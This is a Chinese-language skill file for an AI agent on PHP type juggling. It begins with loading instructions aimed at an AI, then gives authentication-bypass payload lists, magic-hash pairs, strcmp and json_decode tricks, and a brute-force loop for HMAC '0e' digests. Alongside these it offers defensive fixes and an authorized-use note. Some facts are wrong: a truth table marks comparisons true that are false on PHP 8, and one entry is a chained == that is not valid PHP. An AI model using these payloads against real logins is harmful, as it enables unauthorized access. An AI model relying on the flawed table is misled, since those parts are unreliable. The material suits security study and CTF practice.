PHP 类型隐式转换(Type Juggling)与弱类型比较(`==`)绕过技巧。适用于身份验证、HMAC/签名校验或 Token 验证中使用了松散相等判断、强制数值转换或缺乏严格类型的哈希比较场景 —— 常见于旧版 PHP 代码及 CTF 风格的代码路径中。
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
AI 加载指令:包含 PHP
==强制类型转换、Magic Hash(0e…)、HMAC/哈希松散校验、类型异常导致的NULL,以及 CTF 常见的strcmp/json_decode/intval绕过技巧。请进行严格路由判断:分析漏洞触发点(是==还是hash_equals)、PHP 大版本,以及两侧操作数是否均可被攻击者控制。路由注意:当遇到 PHP 登录/签名校验逻辑或类似md5($_GET['x'])==md5($_GET['y'])的代码时,优先加载本 Skill;如果代码已使用hash_equals或===,则该攻击路径通常不适用。
0. QUICK START
首轮测试目标:验证服务端是否因类型隐式转换而将不相等的密钥/Token 判定为相等,而非盲目猜测真实密码。
首轮常用 Payload(身份验证 / Token 变形)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最小化 PHP 探针(本地或实验环境中执行 php -r)
<?php
// 松散比较探针 —— 建议尽量在目标 PHP 大版本下运行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
路由指引
| 线索 | 下一步 |
|---|---|
源码使用 == 比较密码、Token 或 HMAC 值 |
参考第 1 至 3 节 |
md5($a) == md5($b) 或松散的 sha1 比较 |
参考第 2 节(Magic Hash) |
hash_hmac(...) != '0' 或与 "0" 进行比较 |
参考第 3 节 |
涉及 strcmp、json_decode(..., true)、intval |
参考第 5 节 |
1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS
PHP 在使用 == 比较操作数时会发生类型自动转换,除非针对敏感数据使用 === 或 hash_equals()。
1.1 核心示例(字符串 vs 数字)
| 表达式 | 结果 | 机制简述 |
|---|---|---|
'0010e2' == '1e3' |
true | 两者均满足数字字符串特征 → 解析为浮点数比较;均解析为 1000.0(并非 0 —— 常见测试误区,真实“均为 0”的情况见下一行) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' |
true | 科学计数法下两者均解析为 0.0 |
'123a' == 123 |
true | 字符串转 int 时遇到首个非数字字符停止 → 截断为 123 |
'abc' == 0 |
true(PHP 7.x 及更早版本) | 非数字字符串与 int 比较 → 字符串转换为 0 |
'' == 0 |
true | 空字符串转换为 0 |
'' == false |
true | 松散规则下两者均视为“假值(falsy)” |
false == NULL |
true | 松散相等判断 |
0 == false |
true | 松散相等判断 |
'' == 0 == false == NULL |
true(链式比较) | 在 == 下相邻每组比较均为 true(''==0、0==false、false==NULL) —— 经典的“假值链” |
'0' == false |
true | 字符串 '0' 是唯一在布尔比较中被判定为 false 的非空字符串 |
'php' == 0 |
false(PHP 8+) | PHP 8:非数字字符串不再等于 0 |
1.2 PHP 5 vs 7 vs 8(关键差异对比)
| 特性 / 行为 | PHP 5.x / 7.x(典型行为) | PHP 8.0+ |
|---|---|---|
0 == "foo" |
true(字符串转换为 0) | false |
"123a" 字符串转数字 |
在多数 == 路径及 (int) 强制转换中仍会发生截断 |
数字字符串规则保持一致;非数字字符串与 int 比较的逻辑已修复(如上所述) |
md5([]) / sha1([]) |
触发 Warning 警告 / 旧版本中表现类似 NULL |
传入错误类型时抛出 TypeError 异常 —— 除非异常处理降级为 NULL,否则经典数组 [] 技巧失效 |
测试者要点:务必通过 HTTP 响应头、X-Powered-By 或指纹识别确认 PHP 版本;在 PHP 7 上生效的 Payload 在 PHP 8 中可能会直接失效。
1.3 安全的替代方案(防御与验证)
hash_equals((string)$expected, (string)$actual); // 防时序攻击,严格字符串比较
// 或
$expected === $actual;
2. MAGIC HASHES (0e… + digits only)
当比较两侧均为形似十六进制的哈希字符串,且均匹配正则 ^0e[0-9]+$ 时,PHP 会将其解析为科学计数法下的浮点数 —— 其数值均为 0.0。此时即使两个哈希摘要在文本上完全不同,md5(A) == md5(B) 依然成立,返回 true。
2.1 参考对照表(MD5 / SHA-1 及更长哈希算法)
| 算法 | 输入示例 | 摘要结果(以 0e 开头且后接全十进制数字) |
|---|---|---|
| MD5 | 240610708 |
0e462097431906509019562988736854 |
| MD5 | QNKCDZO |
0e830400451993494058024219903391 |
| SHA-1 | 10932435112 |
0e07766915004133176347055865026311692244 |
| SHA-224 | (爆破 / 预计算) | 示例形式:0e + 全数字 → 在 == 下与其他同类字符串相等 |
| SHA-256 | (爆破 / 预计算) | 规则相同:仅匹配 ^0e\d+$ 的字符串会在 == 下发生碰撞 |
生效原理:md5('240610708') == md5('QNKCDZO') → 两侧计算结果均匹配 ^0e[0-9]+$ → 被理解为 0.0 == 0.0 → 结果为 true。
2.2 代码中的漏洞模式
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// 开发者原意:字符串不同但 md5 相同(对 md5 来说几乎不可能)
// 实际漏洞:两个不同的字符串,但其 *哈希摘要* 均为 Magic Hash
}
2.3 Payload 寻找思路(查找哈希对)
?a=240610708&b=QNKCDZO
对于 SHA-224/256,可将其看作碰撞搜索问题:持续爆破输入值,直到摘要匹配 ^0e\d+$,然后组合两个不同的输入。哈希长度越长,碰撞越难;上述 MD5/SHA1 示例为最常见的教学演示用例。
3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)
如果代码逻辑使用了针对常量的松散不相等比较:
if (hash_hmac('md5', $data, $key) != '0') { /* 验证通过 */ }
// 或与 0、false 比较,以及带有字符串 "0e..." 等情况
爆破 $data(例如时间戳、Nonce 随机数、计数器),直到 hash_hmac 的输出结果匹配 ^0e[0-9]+$(针对 MD5 输出)或符合代码中特定的松散规则 —— 此时哈希摘要在 == 下就会被判定为等于 0 或等于另一个 Magic Hash。
示例(针对数字消息的 MD5 风格 0e 摘要)
| 概念 | 示例 / 说明 |
|---|---|
| 消息类型 | Unix 时间戳、自增 ID、毫秒级时钟 |
| 时间戳爆破模式 | 部分教程会引用 1539805986 → 0e772967136366835494939987377058 作为 Magic Hash 风格的例子;但在原生 PHP 中 md5('1539805986') 实际并不产生该摘要 —— 请掌握核心思路(扫描时间戳/计数器直至输出符合 ^0e[0-9]+$),且务必针对目标代码中的具体函数和 Key 进行验证。 |
| 目的 | 寻找 $data 使得 hash_hmac('md5', $data, $key) 匹配 ^0e[0-9]+$ |
| 注意事项 | 在不知道 $key 的情况下,如果算法及输出回显在 Oracle 中可见,仍可尝试爆破 $data;CTF 题目中 Key 通常会被泄露或固定 |
# 概念逻辑:尝试多个时间戳
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
防御修复:使用 hash_equals($mac, $expected) 并搭配固定长度的十六进制/二进制编码;切勿将 HMAC 直接与空泛的 "0" 进行比较。
4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
当传入无效类型时,比较操作的其中一边可能会返回 NULL;若此时与另一个 NULL 或经过隐式转换的值进行松散比较,可能会意外绕过。
| 函数调用 | 典型 PHP 7/8 行为 |
|---|---|
md5([]) |
PHP 8:抛出 TypeError;旧版本:触发警告 / 跨版本行为不稳定 |
sha1([]) |
同上 |
| 绕过思路 | 如果错误处理函数或自定义封装将失败结果转换为了 NULL,那么当另一侧同样为 NULL 时,NULL == NULL 或 NULL == sha1("x") 即可判定成立 |
// CTF / 缺陷代码的心智模型:
@sha1($_GET['x']) == @sha1($_GET['y']); // 若两者均因错误返回 NULL → 比较结果为 true
实际审计技巧:重点排查 @ 错误抑制符、将哈希结果重置为 null 的自定义 try/catch 块,或者直接把用户输入传入要求字符串参数的函数位置。
5. CTF PATTERNS
5.1 strcmp / strcasecmp with arrays
strcmp([], "password"); // PHP 7/8 中返回 NULL(非法参数)
// 松散比较中 NULL == 0 → true,若代码写法如下:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
?p[]=1
5.2 intval bypass
// 十六进制:base 为 0 时允许 PHP 解析 0x 前缀(依赖版本,务必验证)
intval("0x1A", 0); // → 26
// 八进制:base 为 0 时前导 0 会被解析为八进制
intval("010", 0); // → 8(经典教学示例;请在目标 PHP 上确认)
// 科学计数法:单纯 intval() 会在 'e' 处截断;需先强转为 float
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true for associative array auth
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字符串" 通常成立 —— 详见 PHP 松散比较规则
5.4 is_numeric + loose compare
is_numeric("0e12345"); // true
"0e12345" == 0; // true(科学计数法 → 0.0)
5.5 Deserialization + magic properties
将用户输入反序列化为对象,对象的 __toString 或属性被传入 md5($obj) 或参与松散比较 —— 结合属性上的 Magic Hash 字符串(常见于 CTF)。重点查找哈希比较 == 附近的 unserialize($_…)。
6. DECISION TREE
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+
Tool references
| 工具 | 场景用途 |
|---|---|
本地 php CLI |
复现目标大版本下的 == 隐式转换行为 |
| 静态代码审计 | 在加密/哈希输出上全局搜索 ==、!=;查找缺失的 hash_equals |
| CTF 工具框架 | Magic Hash 及 0e 碰撞生成的 Payload 工具包 |
Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.






